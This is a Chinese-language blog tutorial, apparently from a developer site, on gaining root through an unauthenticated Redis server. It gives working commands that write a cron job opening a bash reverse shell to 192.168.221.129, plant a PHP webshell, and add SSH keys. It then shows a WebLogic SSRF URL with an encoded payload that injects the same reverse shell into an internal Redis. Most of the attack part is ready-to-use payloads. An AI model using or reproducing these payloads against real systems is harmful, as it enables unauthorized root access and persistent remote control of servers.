利用redis获取权限

0x1 前言

    如果进入内网中发现了redis服务的话就美滋滋了,我们可以利用redis服务定时反弹shell、写入webshell、写入ssh公钥的操作。

0x2 Redis的利用

    redis:一个高性能的key-value数据库。

   1. 定时任务反弹shell测试:

     启动redis服务,使用telnet连接:

    执行命令: 

set x "\n*/1 * * * * bash -i >& /dev/tcp/192.168.221.129/5050 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

    远程开启监听,可以看到获得一个root权限:

   2. 写入webshell测试语句:

    前提需要知道web的绝对路径。

config set dir /var/www/html
config set dbfilename shell.php
set x "<?php phpinfo(); ?>" 
Save

 

  3. 写入SSH公钥测试:

    本地生成RSA公钥私钥对,将公钥通过redis写入.ssh目录下的authorized-key文件下,实现ssh免密登录,前提是目标开启ssh服务:

0x3 通过SSRF利用Redis

    本文以weblogic + Redis为例,通过console或报错信息识别站点为weblogic,测试发现存在ssrf漏洞,测试url为:

http://192.168.221.134:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://192.168.221.134:6379

    此处假设redis地址为内网地址,使用ssrf进行内网IP端口探测发现存在redis服务:

    直接利用redis写入定时反弹shell任务,url如下:

编码前:
http://192.168.31.78:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business location&btnSubmit=Search&operator=http://192.168.221.134:54675/

set x "\n*/1 * * * * bash -i >& /dev/tcp/192.168.221.129/55555 0>&1\n\n\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save

aaa
编码后:
http://192.168.221.134:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://192.168.221.134:54675/%0D%0A%0D%0Aset%20x%20%22%5cn*%2f1+*+*+*+*+bash+-i+%3e%26+%2fdev%2ftcp%2f192.168.221.129%2f55555+0%3e%261%5cn%22%0D%0Aconfig%20set%20dir%20%2Fvar%2Fspool%2Fcron%2F%0D%0Aconfig%20set%20dbfilename%20root%0D%0Asave%0D%0A%0D%0Aaaa

    本机监听并发送payload如下:

    得到了root权限的shell:

 0x4 结语

  •  其他两种写入木马及写入ssh公钥同理。
  • 针对ssrf漏洞的学习后续还需深入。。。。
  • 注意:为什么使用http协议访问redis服务后url后面的指令也能被redis执行呢?payload中最后的请求链接中,前面的http请求相当于与redis连接,后面的指令就会当作连接redis后输入的指令。(应该是这样吧)
  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值